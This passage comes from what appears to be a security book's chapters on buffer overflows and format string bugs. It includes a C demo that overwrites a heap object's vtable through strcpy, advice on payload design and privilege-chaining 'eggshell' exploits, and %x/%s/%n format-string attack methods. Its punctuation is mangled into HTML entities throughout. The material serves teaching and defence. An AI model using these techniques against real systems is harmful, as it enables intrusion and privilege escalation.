addresses for the class functions. One of these is the destructor, which we overwrite
so that when the class object is deleted, our new destructor is called. In this
way, we can run any code we want to &iexcl;X we simply make the destructor point to
our payload.The downside to this is that heap object addresses may contain a
NULL character, limiting what we can do.We either must put our payload somewhere
that doesn&iexcl;&brvbar;t require a NULL address, or pull any of the old stack referencing
tricks to get the EIP to return to our address.The following code
example demonstrates this method.
// class_tres1.cpp : Defines the entry point for the console
// application.
#include <stdio.h>
#include <string.h>
class test1
www.syngress.com
308 Chapter 8 &iexcl;E Buffer Overflow
{
public:
char name[10];
virtual ~test1();
virtual void run();
};
class test2
{
public:
char name[10];
virtual ~test2();
virtual void run();
};
int main(int argc, char* argv[])
{
class test1 *t1 = new class test1;
class test1 *t5 = new class test1;
class test2 *t2 = new class test2;
class test2 *t3 = new class test2;
//////////////////////////////////////
// overwrite t2's virtual function
// pointer w/ heap address
// 0x00301E54 making the destructor
// appear to be 0x77777777
// and the run() function appear to
// be 0x88888888
//////////////////////////////////////
strcpy(t3->name, "\x77\x77\x77\x77\x88\x88\x88\x88XX XXXXXXXXXX"\
"XXXXXXXXXX XXXXXXXXXX XXXXXXXXXX XXXX\x54\x1E\x30\x00");
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 309
delete t1;
delete t2; // causes destructor 0x77777777 to be called
delete t3;
return 0;
}
void test1::run()
{
}
test1::~test1()
{
}
void test2::run()
{
puts("hey");
}
test2::~test2()
{
}
Figure 8.24 illustrates the example.The proximity between heap objects
allows you to overflow the virtual function pointer of a neighboring heap object.
Once overwritten, the attacker can insert a value that points back into the controlled
buffer, where the attacker can build a new virtual function table.The new
table can then cause attacker-supplied code to execute when one of the class
functions is executed.The destructor is a good function to replace, since it is executed
when the object is deleted from memory.
www.syngress.com
310 Chapter 8 &iexcl;E Buffer Overflow
Advanced Payload Design
In addition to advanced tricks and techniques for strange and vulnerable situations,
there are also techniques that allow your payload to operate in more environments
and to do more interesting things.We will cover some more advanced
topics regarding payload design and implementation that can allow you to have
more flexibility and functionality in your shellcode.
Buffer overflow attacks offer a very high degree of flexibility in design. Each
aspect of an exploit, from injecting the buffer to choosing the jump point; and
right up to innovative and interesting payload design can be modified to fit your
situation.You can optimize it for size, avoid intrusion detection systems (IDS), or
make it violate the kernel.
Using What You Already Have
Even simple programs often have more code in memory than is strictly necessary.
By linking to a dynamically loaded library, you tell the program to load that
www.syngress.com
Figure 8.24 Trespassing the Heap
C++ Object
VTABLE PTR
C++ Object
member variables
C++ Object
VTABLE PTR
C++ Object
member variables
grow down
C++ Object
VTable
_vfptr
_destructor
_functionYYY, etc.
_functionXXX
Buffer Overflow &iexcl;E Chapter 8 311
library at startup or runtime. Unfortunately, when you dynamically load a DLL
or shared library under UNIX, you are forced into loading the entire piece of
code into a mapped section of memory, not just the functions you specifically
need.This means that not only are you getting the code you need, but you are
potentially getting a bunch of other stuff loaded as well. Modern operating systems
and the robust machines upon which they run do not see this as a liability;
further, most of the code in a dynamic load library will never be referenced and
hence does not really affect the process in one way or another.
However, as an attacker, this gives you more code to use to your advantage.
You cannot only use this code to find good jump points; you can also use it to
look for useful bits and pieces that will already be loaded into memory for you.
This is where understanding of the commonly loaded libraries can come in
handy. Since they are often loaded, you can use those functions that are already
loaded but not being used.
Static linking can reduce the amount of code required to link into a process
down to the bare bones, but this is often not done. Like dynamic link libraries,
static libraries are typically not cut into little pieces to help reduce overhead, so
most static libraries also link in additional code.
For example, if Kernel32.dll is loaded, you can use any kernel32 function,
even if the process itself does not implicitly use it.You can do this because it is
already loaded into the process space, as are all of its dependencies, meaning there
is a lot of extra code loaded with every additional DLL, beyond what seems on
the surface.
Another example of using what you have in the UNIX world is a trick that
was used to bypass systems like security researcher solar designer&iexcl;&brvbar;s early Linux
kernel patches and kernel modifications like the PAX project.The first known
public exploitation of this was done by solar designer. It worked by overwriting
the stack with arguments to execve, then overwriting the EIP with the loaded
address of execve.The stack was set up just like a call to execve, and when the function
hit its ret and tried to go to the EIP, it executed it as such. Accordingly, you
would never have to execute code from the stack, which meant you could avoid
any stack execution protection.
Dynamic Loading New Libraries
Most modern operating systems support the notion of dynamic shared libraries.
They do this to minimize memory usage and reuse code as much as possible. As I
said in the last section, you can use whatever is loaded to your advantage, but
sometimes you may need something that isn&iexcl;&brvbar;t already loaded.
www.syngress.com
312 Chapter 8 &iexcl;E Buffer Overflow
Just like code in a program, a payload can chose to load a dynamic library on
demand and then use functions in it.We examined a example of this in the
simple Windows NT exploit example.
Under Windows NT, there are a pair of functions that will always be loaded
in a process space, LoadLibrary() and GetProcAddress().These functions allow us to
basically load any DLL and query it for a function by name. On UNIX, it is a
combination of dlopen() and dlsym().
These two functions both break down into categories, a loader, and a symbol
lookup.A quick explanation of each will give you a better understanding of their
usefulness.
A loader like LoadLibrary() or dlopen()loads a shared piece of code into a process
space. It does not imply that the code will be used, but that it is available for
use. Basically, with each you can load a piece of code into memory that is in turn
mapped into the process.
A symbol lookup function, like GetProcAddress() or dlsym(), searches the
loaded shared library&iexcl;&brvbar;s export tables for function names.You specify the function
you are looking for by name, and it returns with the address of the function&iexcl;&brvbar;s
start.
Basically, you can use these preloaded functions to load any DLL that your
code may want to use.You can then get the address of any of the functions in
those dynamic libraries by name.This gives you nearly infinite flexibility, as long
as the dynamic shared library is available on the machine.
There are two common ways to use dynamic libraries to get the functions
you need.You can either hardcode the addresses of your loader and symbol
lookups, or you can search through the attacked process&iexcl;&brvbar;s import table to find
them at runtime.
Hardcoding the addresses of these functions works well but can impair your
code portability.This is because only processes that have the functions loaded
where you have hardcoded them will allow this technique to work. For Windows
NT, this typically limits your exploit to a single service pack and OS combo, for
UNIX, it may not work at all, depending on the platform and libraries used.
The second option is to search the executable file&iexcl;&brvbar;s import tables.This works
better and is more portable, but has the disadvantage of being much larger code.
In a tight buffer situation where you can&iexcl;&brvbar;t tuck your code elsewhere, this may just
not be an option.The simple overview is to treat your shellcode like a symbol
lookup function. In this case, you are looking for the function already loaded in
memory via the imported functions list.This, of course assumes that the function
is already loaded in memory, but this is often, if not always, the case.This method
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 313
requires you to understand the linking format used by your target operating
system. For Windows NT, it is the PE, or portable executable format. For most
UNIX systems, it is the Executable and Linking Format (ELF).
You will want to examine the specs for these formats and get to know them
better.They offer a concise view of what the process has loaded at linkage time,
and give you hints into what an executable or shared library can do.
Eggshell Payloads
One of the strangest types of payload is what is known an eggshell payload.An
eggshell is an exploit within an exploit.The purpose is to exploit a lower privileged
program, and with your payload, attack and exploit a higher privileged
piece of code.
This technique allows you to execute a simple exploitation of a program to
get your foot in the door, then leverage that to march the proveribal army
through.This concept saves time and effort over attacking two distinct holes by
hand.The attacks tend to be symbiotic, allowing a low privilege remote attack to
be coupled with a high privilege local attack for a devastating combination.
We used an eggshell technique in our release of IISHack 1.5.This completely
compromises a Windows NT server running IIS 4. A full analysis and code is
available at http://www.eeye.com/html/Research/Ad...001003.html.We
used a known, non-privileged exploit, the &iexcl;§Unicode&iexcl;&uml; attack, to inject an asp file
onto the server. Unicode attacks execute in the process space of
IUSR_MACHINE, which is basically an unprivileged user.
We coupled this with an undisclosed .ASP parser overflow attack that ran in
the LOCAL_SYSTEM context.This allowed us to take a low grade but dangerous
remote attack and turn it quickly into a total system compromise.
www.syngress.com
314 Chapter 8 &iexcl;E Buffer Overflow
Summary
Buffer overflows are a real danger in modern computing.They account for many
of the largest, most devastating security vulnerabilities ever discovered.We showed
how the stack operates, and how modern compilers and computer architectures
use it to deal with functions.We have examined some exploit scenarios and laid
out the pertinent parts of an exploit.We have also covered some of the more
advanced techniques used in special situations or to make your attack code more
portable and usable.
Understanding how the stack works is imperative to understanding overflow
techniques.The stack is used by nearly every function to pass variables into and
out of functions, and to store local variables.The ESP points to the top of the
local stack, and the EBP to its base.The EIP and EBP are saved on the stack
when a function gets called, so that you can return to the point from which you
got called at the end of your function.
The general concept behind buffer overflow attacks revolves around overwriting
the saved EIP on the stack with a way to get to your code.This allows
you to control the machine and execute any code you have placed there.To successfully
exploit a vulnerable situation, you need to create an injector, a jump
point, and a payload.The injector places your code where it needs to be, the
jump point transfers control to your payload, and your payload is the actual code
you wish to execute.
There are numerous techniques that can be used to make your exploit work
better in a variety of situations.We covered techniques for bypassing input filtering
and dealing with incomplete overflows.We looked at how heap overflows
can happen and some simple techniques for exploiting vulnerable heap situations.
Finally, we examined a few techniques that can lead to better shellcode design.
They included using preexisting code and how to load code that you do not
have available to you at time of exploitation.
Solutions Fast Track
Understanding the Stack
The stack serves as local storage for variables used in a given function. It
is typically allocated at the beginning of a function in a portion of code
called the prologue, and cleaned up at the end of the function in the
epilogue.
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 315
Often, parts of the stack are allocated for use as buffers within the
function. Because of the way the stack works, these are allocated as static
sizes that do not change throughout the function&iexcl;&brvbar;s lifetime.
Certain compilers may play tricks with stack usage to better optimize
the function for speed or size.There are also a variety of calling syntaxes
that will affect how the stack is used within a function.
Understanding the Stack Frame
A stack frame comprises of the space allocated for stack usage within a
function. It contains the saved EBP from the previous function call, the
saved EIP to return to the calling code, all arguments passed to the
function, and all locally allocated space for static stack variables.
The ESP register points to the top of the frame and the EBP register
points to the bottom of the frame.The ESP register shifts as items are
pushed onto and popped from the stack.The EBP register typically
serves as an anchor point for referencing local stack variables.
The call and ret Intel instructions are how the processor enters and exits
functions. It does this by saving a copy of the EIP that needs to be
returned to on the stack at the call and coming back to this saved EIP by
the ret instruction.
Learning about Buffer Overflows
Copying too much data into a buffer will cause it to overwrite parts of
the stack.
Since the EIP is popped off the stack by a ret instruction, a complete
overwrite of the stack will result in having the ret instruction pop off
user supplied data and transferring control of the processor to wherever
an attacker wants it to go.
Creating Your First Overflow
A stack overflow exploit is comprised of an injection, a jump point, and
a payload.
www.syngress.com
316 Chapter 8 &iexcl;E Buffer Overflow
Injection involves getting your specific payload into the attack&iexcl;&brvbar;s target
buffer.This can be a network connection, form input, or a file that is
read in, depending on your specific situation.
A jump point is the address with which you intend to overwrite the EIP
saved on the stack.There are a lot of possibilities for this overwrite,
including direct and indirect jumps to your code.There are other
techniques that can improve the accuracy of this jump, including NOP
sleds and Heap Spray techniques.
Payloads are the actual code that an attacker will attempt to execute.You
can write just about any code for your payload. Payload code is often
just reduced assembly instructions to do whatever an attacker wants. It is
often derived from a prototype in C and condensed to save space and
time for delivery.
Learning Advanced Overflow Techniques
There may be some type of input filtering or checking happening
before a buffer can be overflowed. Although this technique can reduce
the chances of a buffer overflow exploitation, it might still be possible to
attack these scenarios.These may involve crafting your exploit code to
bypass certain types of input filtering, like writing a purely alphanumeric
exploit.You may also need to make your exploit small to get past length
checks.
Sometimes, you do not get complete control of the EIP.There are many
situations where you can get only a partial overflow, but can still use that
to gain enough control to cause the execution of code.These typically
involve corrupting data on the stack that may be used later to cause an
overflow.You may also be able to overwrite function pointers on the
stack to gain direct control of the processor on a call.
Stack overflows are not the only types of overflows available to an
attacker. Heap-based overflows can still lead to compromise if they can
result in data corruption or function pointer overwrites that lead to a
processor-control scenario.
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 317
Advanced Payload Design
You can use code that already is loaded due to normal process
operation. It can save space in your payload and offer you the ability to
use code exactly like the program itself can use it. Don&iexcl;&brvbar;t forget that there
is often more code loaded than a program is actually using, so a little
spelunking in the process memory space can uncover some really useful
preloaded code.
If you do not have everything your program needs, do not be afraid to
load it yourself. By loading dynamic libraries, you can potentially load
any code already existing on the machine.This can give you a virtually
unlimited resource in writing your payload.
Eggshells are exploits within exploits.They offer the benefit of parlaying
a less privileged exploit into a full system compromise.The basic concept
is that the payload of the first exploit is used to exploit the second
vulnerability and inject another payload.
Q: Why do buffer overflows exist?
A: Buffer overflows exist because of the state of stack usage in most modern
computing environments. Improper bounds checking on copy operations can
result in a violation of the stack.There are hardware and software solutions
that can protect against these types of attacks. However, these are often exotic
and incur performance or compatibility penalties.
Q: Where can I learn more about buffer overflows?
A: Reading lists like Bugtraq (www.securityfocus.com), and the associated papers
written about buffer overflow attacks in journals like Phrack can significantly
increase your understanding of the concept.
www.syngress.com
Frequently Asked Questions
The following Frequently Asked Questions, answered by the authors of this book,
are designed to both measure your understanding of the concepts presented in
this chapter and to assist you with real-life implementation of these concepts. To
have your questions about this chapter answered by the author, browse to
www.syngress.com/solutions and click on the &iexcl;§Ask the Author&iexcl;&uml; form.
318 Chapter 8 &iexcl;E Buffer Overflow
Q: How can I stop myself from writing overflowable code?
A: Proper quality assurance testing can weed out a lot of these bugs.Take time in
design, and use bounds checking versions of vulnerable functions.
Q: Are only buffers overflowable?
A: Actually, just about any incorrectly used stack variable can potentially be
exploited.There has recently been exploration into overflowing integer variables
on the stack.These types of vulnerabilities arise from the use of casting
problems inherent in a weakly typed language like C.There have recently
been a few high profile exploitations of this, including a Sendmail local compromise
(www.securityfocus.com/bid/3163) and an SSH1 remote vulnerability
(www.securityfocus.com/bid/2347).These overflows are hard to find
using automated tools, and may pose some serious problems in the future
Q: How do I find buffer overflows in code?
A: There are a variety of techniques for locating buffer overflows in code. If you
have source code for the attacked application, you can use a variety of tools
designed for locating exploitable conditions in code.You may want to examine
ITS4 (www.cigital.com/services/its4) or FlawFinder (www.dwheeler.com/
flawfinder). Even without source code, you have a variety of options. One
common technique is to do input checking tests. Numerous tools are available
to check input fields in common programs. I wrote Common Hacker Attack
Methods (CHAM) as a part of eEye&iexcl;&brvbar;s Retina product (www.eEye.com) to
check common network protocols. Dave Aitel from @Stake wrote SPIKE
(www.atstake.com/research/tools/spike-v1.8.tar.gz), which is an API to test
Web application inputs. One newly-explored area of discovering overflows lies
in binary auditing. Binary auditing uses custom tools to look for strange or
commonly exploitable conditions in compiled code.There haven&iexcl;&brvbar;t been many
public tools released on this yet, but expect them to be making the rounds
soon.You may want to examine some of the attack tools as well.

[mic64]

Chapter 9 &iexcl;E Format Strings
Introduction
Early in the summer of 2000, the security world was abruptly made aware of a
significant new type of security vulnerabilities in software.This subclass of vulnerabilities,
known as format string bugs, was made public when an exploit for the
Washington University FTP daemon (WU-FTPD) was posted to the Bugtraq
mailing list on June 23, 2000.The exploit allowed for remote attackers to gain
root access on hosts running WU-FTPD without authentication if anonymous
FTP was enabled (it was, by default, on many systems).This was a very high-pro-
file vulnerability because WU-FTPD is in wide use on the Internet.
As serious as it was, the fact that tens of thousands of hosts on the Internet
were instantly vulnerable to complete remote compromise was not the primary
reason that this exploit was such a great shock to the security community.The
real concern was the nature of the exploit and its implications for software everywhere.
This was a completely new method of exploiting programming bugs previously
thought to be benign.This was the first demonstration that format string
bugs were exploitable.
A format string vulnerability occurs when programmers pass externally supplied
data to a printf function as or as part of the format string argument. In the
case of WU-FTPD, the argument to the SITE EXEC ftp command when issued
to the server was passed directly to a printf function.
There could not have been a more effective proof of concept; attackers could
immediately and automatically obtain superuser privileges on victim hosts.
Until the exploit was public, format string bugs were considered by most to
be bad programming form&iexcl;Xjust inelegant shortcuts taken by programmers in a
rush&iexcl;Xnothing to be overly concerned about. Up until that point, the worst that
had occurred was a crash, resulting in a denial of service.The security world soon
learned differently. Countless UNIX systems have been compromised due to
these bugs.
As previously mentioned, format string vulnerabilities were first made public
in June of 2000.The WU-FTPD exploit was written by an individual known as
tf8, and was dated October 15, 1999. Assuming that through this vulnerability it
was discovered that format string bug conditions could be exploited, hackers had
more than eight months to seek out and write exploits for format string bugs in
other software.This is a conservative guess, based on the assumption that the
WU-FTPD vulnerability was the first format string bug to be exploited.There is
no reason to believe that is the case; the comments in the exploit do not suggest
that the author discovered this new method of exploitation.
www.syngress.com
www.syngress.com
Shortly after knowledge of format string vulnerabilities was public, exploits
for several programs became publicly available.As of this writing, there are dozens
of public exploits for format string vulnerabilities, plus an unknown number of
unpublished ones.
As for their official classification, format string vulnerabilities do not really
deserve their own category among other general software flaws such as race conditions
and buffer overflows. Format string vulnerabilities really fall under the
umbrella of input validation bugs: the basic problem is that programmers fail to
prevent untrusted externally supplied data from being included in the format
string argument.
Format Strings &iexcl;E Chapter 9 321
Format String Vulnerabilities versus Buffer Overflows
On the surface, format string and buffer overflow exploits often look
similar. It is not hard to see why some may group together in the same
category. Whereas attackers may overwrite return addresses or function
pointers and use shellcode to exploit them, buffer overflows and format
string vulnerabilities are fundamentally different problems.
In a buffer overflow vulnerability, the software flaw is that a sensitive
routine such as a memory copy relies on an externally controllable
source for the bounds of data being operated on. For example, many
buffer overflow conditions are the result of C library string copy operations.
In the C programming language, strings are NULL terminated byte
arrays of variable length. The strcpy() (string copy) libc function copies
bytes from a source string to a destination buffer until a terminating
NULL is encountered in the source string. If the source string is externally
supplied and greater in size than the destination buffer, the strcpy()
function will write to memory neighboring the data buffer until the copy
is complete. Exploitation of a buffer overflow is based on the attacker
being able to overwrite critical values with custom data during operations
such as a string copy.
In format string vulnerabilities, the problem is that externally supplied
data is being included in the format string argument. This can be
considered a failure to validate input and really has nothing to do with
data boundary errors. Hackers exploit format string vulnerabilities to
Notes from the Underground&iexcl;K
Continued
322 Chapter 9 &iexcl;E Format Strings
This chapter will introduce you to format string vulnerabilities, why they
exist, and how they can be exploited by attackers.We will look at a real-world
format string vulnerability, and walk through the process of exploiting it as a
remote attacker trying to break into a host.
Understanding Format
String Vulnerabilities
To understand format string vulnerabilities, it is necessary to understand what the
printf functions are and how they function internally.
Computer programmers often require the ability for their programs to create
character strings at runtime.These strings may include variables of a variety of
types, the exact number and order of which are not necessarily known to the
programmer during development.The widespread need for flexible string creation
and formatting routines naturally lead to the development of the printf
family of functions.The printf functions create and output strings formatted at
runtime.They are part of the standard C library. Additionally, the printf functionality
is implemented in other languages (such as Perl).
These functions allow for a programmer to create a string based on a format
string and a variable number of arguments.The format string can be considered a
www.syngress.com
write specific values to specific locations in memory. In buffer overflows,
the attacker cannot choose where memory is overwritten.
Another source of confusion is that buffer overflows and format
string vulnerabilities can both exist due to the use of the sprintf() function.
To understand the difference, it is important to understand what
the sprintf function actually does. sprintf() allows for a programmer to
create a string using printf() style formatting and write it into a buffer.
Buffer overflows occur when the string that is created is somehow larger
than the buffer it is being written to. This is often the result of the use
of the %s format specifier, which embeds NULL terminated string of
variable length in the formatted string. If the variable corresponding to
the %s token is externally supplied and it is not truncated, it can cause
the formatted string to overwrite memory outside of the destination
buffer when it is written. The format string vulnerabilities due to the
misuse of sprintf() are due to the same error as any other format string
bugs, externally supplied data being interpreted as part of the format
string argument.
Format Strings &iexcl;E Chapter 9 323
blueprint containing the basic structure of the string and tokens that tell the printf
function what kinds of variable data goes where, and how it should be formatted.
The printf tokens are also known as format specifiers; the two terms are used interchangeably
in this chapter.
The concept behind printf functions is best demonstrated with a small
example:
int main()
{
int integer = 10;
printf("this is the skeleton of the string, %i",integer);
}
www.syngress.com
The printf Functions
This is a list of the standard printf functions included in the standard C
library. Each of these can lead to an exploitable format string vulnerability
if misused.
 printf() This function allows a formatted string to be created
and written to the standard out I/O stream.
 fprintf() This function allows a formatted string to be created
and written to a libc FILE I/O stream.
 sprintf() This function allows a formatted string to be created
and written to a location in memory. Misuse of this
function often leads to buffer overflow conditions.
 snprintf() This function allows a formatted string to be created
and written to a location in memory, with a maximum
string size. In the context of buffer overflows, it is known as
a secure replacement for sprintf().
The standard C library also includes the vprintf(), vfprintf(),
vsprintf(), and vsnprintf() functions. These perform the same functions
as their counterparts listed previously but accept varargs (variable arguments)
structures as their arguments.
Tools & Traps&iexcl;K
324 Chapter 9 &iexcl;E Format Strings
In this code example, the programmer is calling printf with two arguments, a
format string and a variable that is to be embedded in the string when that
instance of printf executes.
"this is the skeleton of the string, %i"
This format string argument consists of static text and a token (%i), indicating
variable data. In this example, the value of this integer variable will be included,
in Base10 character representation, after the comma in the string output when
the function is called.
The following program output demonstrates this (the value of the integer
variable is 10):
[dma@victim server]$ ./format_example
this is the skeleton of the string, 10
Because the function does not know how many arguments it will receive,
they are read from the process stack as the format string is processed based on the
data type of each token. In the previous example, a single token representing an
integer variable was embedded in the format string.The function expects a variable
corresponding to this token to be passed to the printf function as the second
argument. On the Intel architecture (at least), arguments to functions are pushed
onto the stack before the stack frame is created.When the function references its
arguments on these platforms, it references data on the stack beneath the stack
frame.
NOTE
In this chapter, we use the term beneath to describe data that was
placed on the stack before the data we are suggesting is above. On the
Intel architecture, the stack grows down. On this and other architectures
with stacks that grow down, the address of the top of the stack
decreases numerically as the stack grows. On these systems, data that is
described as beneath the other data on the stack has a numerically
higher address than data above it.
The fact that numerically higher memory addresses may be lower in
the stack can cause confusion. Be aware that a location in the stack
described as above another means that it is closer to the top of the stack
than the other location.
www.syngress.com
Format Strings &iexcl;E Chapter 9 325
In our example, an argument was passed to the printf function corresponding
to the %i token&iexcl;Xthe integer variable.The Base10 character representation of
the value of this variable (10) was output where the token was placed in the
format string.
When creating the string that is to be output, the printf function will retrieve
whatever value of integer data type size is at the right location in the stack and use
that as the variable corresponding to the token in the format string.The printf function
will then convert the binary value to a character representation based on the
format specifier and include it as part of the formatted output string. As will be
demonstrated, this occurs regardless of whether the programmer has actually passed
a second argument to the printf function or not. If no parameters corresponding to
the format string tokens were passed, data belonging to the calling function(s) will
be treated as the arguments, because that is what is next on the stack.
Let&iexcl;&brvbar;s go back to our example, pretending that we had later decided to print
only a static string but forgot to remove the format specifier.The call to printf
now looks like this:
printf("this is the skeleton of the string, %i");
/* note: no argument. only a format string. */
When this function executes, it does not know that there has not been a variable
passed corresponding to the %i token.When creating the string, the function
will read an integer from the area of the stack where a variable would be had it
been passed by the programmer, the 4 bytes beneath the stack frame. Provided
that the virtual memory where the argument should be can be dereferenced, the
program will not crash and whatever bytes happened to be at that location will
be interpreted as, and output as, an integer.
The following program output demonstrates this:
[dma@victim server]$ ./format_example
this is the skeleton of the string, -1073742952
Recall that no variable was passed as an integer argument corresponding to
the %i format specifier; however, an integer was included in the output string.
The function simply reads bytes that make up an integer from the stack as
though they were passed to the function by the programmer. In this example, the
bytes in memory happened to represent the number &iexcl;V1073742952 as a signed int
data type in Base10.
www.syngress.com
326 Chapter 9 &iexcl;E Format Strings
If users can force their own data to be part of the format string, they cause
the affected printf function to treat whatever happens to be on the stack as legitimate
variables associated with format specifiers that they supply.
As we will see, the ability for an external source to control the internal function
of a printf function can lead to some serious potential security vulnerabilities.
If a program exists that contains such a bug and returns the formatted string to
the user (after accepting format string input), attackers can read possibly sensitive
memory contents. Memory can also be written to through malicious format
strings by using the obscure format specifier %n.The purpose of the %n token is
to allow programmers to obtain the number of characters output at predetermined
points during string formatting. How attackers can exploit format string
vulnerabilities will be explained in detail as we work toward developing a functional
format string exploit.
Why and Where Do Format
String Vulnerabilities Exist?
Format string vulnerabilities are the result of programmers allowing externally
supplied, unsanitized data in the format string argument.These are some of the
most commonly seen programming mistakes resulting in exploitable format string
vulnerabilities.
The first is where a printf function is called with no separate format string
argument, simply a single string argument. For example:
printf(argv[1]);
In this example, the second argument value (often the first command line
argument) is passed to printf() as the format string. If format specifiers have been
included in the argument, they will be acted upon by the printf function:
[dma@victim]$ ./format_example %i
-1073742936
This mistake is usually made by newer programmers, and is due to unfamiliarity
with the C library string processing functions. Sometimes this mistake is
due to the programmer&iexcl;&brvbar;s laziness, neglecting to include a format string argument
for the string (i.e., %s).This reason is often the underlying cause of many different
types of security vulnerabilities in software.
The use of wrappers for printf() style functions, often for logging and error
reporting functions, is very common.When developing, programmers may forget
www.syngress.com
Format Strings &iexcl;E Chapter 9 327
that an error message function calls printf() (or another printf function) at some
point with the variable arguments it has been passed.They may simply become
accustomed to calling it as though it prints a single string:
error_warn(errmsg);
The vulnerability that we are going to exploit in this chapter is due to an
error similar to this.
One of the most common causes of format string vulnerabilities is improper
calling of the syslog() function on UNIX systems. syslog() is the programming
interface for the system log daemon. Programmers can use syslog() to write error
messages of various priorities to the system log files. As its string arguments,
syslog() accepts a format string and a variable number of arguments corresponding
to the format specifiers. (The first argument to syslog() is the syslog priority level.)
Many programmers who use syslog() forget or are unaware that a format string
separate from externally supplied log data must be passed. Many format string
vulnerabilities are due to code that resembles this:
syslog(LOG_AUTH,errmsg);
If errmsg contains externally supplied data (such as the username of a failed
login attempt), this condition can likely be exploited as a typical format string
vulnerability.
How Can They Be Fixed?
Like most security vulnerabilities due to insecure programming, the best solution
to format string vulnerabilities is prevention. Programmers need to be aware that
these bugs are serious and can be exploited by attackers. Unfortunately, a global
awakening to security issues is not likely any time soon.
For administrators and users concerned about the software they run on their
system, a good policy should keep the system reasonably secure. Ensure that all
setuid binaries that are not needed have their permissions removed, and all
unnecessary services are blocked or disabled.
Mike Frantzen published a workaround that could be used by administrators
and programmers to prevent any possible format string vulnerabilities from being
exploitable. His solution involves attempting to count the number of arguments
passed to a printf() function compared to % tokens in the format string.This
workaround is implemented as FormatGuard in Immunix, a distribution of Linux
designed to be secure at the application level.
www.syngress.com
328 Chapter 9 &iexcl;E Format Strings
Mike Frantzen&iexcl;&brvbar;s Bugtraq post is archived at www.securityfocus.com/
archive/1/72118. FormatGuard can be found at www.immunix.org/
formatguard.html.
How Format String Vulnerabilities Are Exploited
There are three basic goals an attacker can accomplish by exploiting format string
vulnerabilities. First, the attacker can cause a process to fail due to an invalid
memory access.This can result in a denial of service. Second, attackers can read
process memory if the formatted string is output. Finally, memory can be overwritten
by attackers&iexcl;Xpossibly leading to execution of instructions.
www.syngress.com
Using Format Strings to Exploit Buffer Overflows
User-supplied format specifiers can also be used to aid in exploiting
buffer overflow conditions. In some situations, an sprintf() condition
exists that would be exploitable if it were not for length limitations
placed on the source strings prior to them being passed to the insecure
function. Due to these restrictions, it may not be possible for an attacker
to supply an oversized string as the format string or the value for a %s
in an sprintf call.
If user-supplied data can be embedded in the format string argument
of sprintf(), the size of the string being created can be inflated by
using padded format specifiers. For example, if the attacker can have
%100i included in the format string argument for sprintf, the output
string may end up more than 100 bytes larger than it should be. The
padded format specifier may create a large enough string to overflow the
destination buffer. This may render the limits placed on the data by the
programmer useless in protecting against overflows and allow for the
exploitation of this condition by an attacker to execute arbitrary code.
We will not discuss this method of exploitation further. Although it
involves using format specifiers to overwrite memory, the format speci-
fier simply is being used to enlarge the string so that a typical stack over-
flow condition can occur. This chapter is for exploitation using only
format specifiers, without relying on another vulnerability due to a separate
programmatic flaw such as buffer overflows. Additionally, the
described situation could also be exploited as a regular format string
vulnerability using only format specifiers to write to memory.
Damage & Defense&iexcl;K
Format Strings &iexcl;E Chapter 9 329
Denial of Service
The simplest way that a format string vulnerability can be exploited is to cause a
denial of service through forcing the process to crash. It is relatively easy to cause
a program to crash with malicious format specifiers.
Certain format specifiers require valid memory addresses as corresponding
variables. One of them is %n, which we just discussed and which we will explain
in further detail soon. Another is %s, which requires a pointer to a NULL terminated
string. If an attacker supplies a malicious format string containing either of
these format specifiers, and no valid memory address exists where the corresponding
variable should be, the process will fail attempting to dereference whatever
is in the stack.This may cause a denial of service and does not require any
complicated exploit method.
In fact, there were a handful of known problems caused by format strings
that existed before anyone understood that format strings were exploitable. For
example, it was know that it was possible to crash the BitchX IRC client by passing
%s%s%s%s as one of the arguments for certain IRC commands. However, as far as
we know, no one realized this was further exploitable until the WU-FTPD exploit
came to light.
There is not much more to crashing processes using format string.There are
much more interesting and useful things an attacker can do with format string
vulnerabilities.
Reading Memory
If the output of the format string function is available, attackers can also exploit
these vulnerabilities to read process memory.This is a serious problem and can
lead to disclosure of sensitive information. For example, if a program accepts
authentication information from clients and does not clear it immediately after
use, format string vulnerabilities can be used to read it.The easiest way for an
attacker to read memory due to a format string vulnerability is to have the function
output memory as variables corresponding to format specifiers.These variables
are read from the stack based on the format specifiers included in the
format string. For example, 4 byte values can be retrieved for each instance of
%x.The limitation of reading memory this way is that it is limited to only data
on the stack.
It is also possible for attackers to read from arbitrary locations in memory
by using the %s format specifier. As described earlier, the %s format specifier
corresponds to a NULL terminated string of characters.This string is passed by
www.syngress.com
330 Chapter 9 &iexcl;E Format Strings
reference. An attacker can read memory in any location by supplying a %s format
specifier and a corresponding address variable to the vulnerable program.The
address where the attacker would like reading to begin must also be placed in the
stack in the same manner that the address corresponding to any %n variables
would be embedded.The presence of a %s format specifier would cause the
format string function to read in bytes starting at the address supplied by the
attacker until a NULL byte is encountered.
The ability to read memory is very useful to attackers and can be used in
conjunction with other methods of exploitation. How to do this will be
described in detail and will be used in the exploit we are developing toward the
end of this chapter.
Writing to Memory
Previously, we touched on the %n format specifier.This formerly obscure token
exists for the purpose of indicating how large a formatted string is at runtime.
The variable corresponding to %n is an address.When the %n token is encountered
during printf processing, the number (as an integer data type) of characters
that make up the formatted output string is written to the address argument corresponding
to the format specifier.
The existence of such a format specifier has serious security implications: it
can allow for writes to memory.This is the key to exploiting format string vulnerabilities
to accomplish goals such as executing shellcode.
Single Write Method
The first method that we will talk about involves using only the value of a single
%n write to elevate privileges.
In some programs, critical values such as a user&iexcl;&brvbar;s userid or groupid is stored in
process memory for purposes of lowering privileges. Format string vulnerabilities
can be exploited by attackers to corrupt these variables.
An example of a program with such a vulnerability is the Screen utility.
Screen is a popular UNIX utility that allows for multiple processes to use a single
pseudoterminal.When installed setuid root, Screen stores the privileges of the
invoking user in a variable.When a window is created, the Screen parent process
lowers privileges to the value stored in that variable for the children processes
(the user shell, etc.).
Versions of Screen prior to and including 3.9.5 contained a format string vulnerability
when outputting the user-definable visual bell string.This string,
www.syngress.com
Format Strings &iexcl;E Chapter 9 331
defined in the user&iexcl;&brvbar;s .screenrc configuration file, is output to the user&iexcl;&brvbar;s terminal as
the interpretation of the ASCII beep character.When output, user-supplied data
from the configuration file is passed to a printf function as part of the format
string argument.
Due to the design of Screen, this particular format string vulnerability could
be exploited with a single %n write. No shellcode or construction of addresses
was required.The idea behind exploiting Screen is to overwrite the saved userid
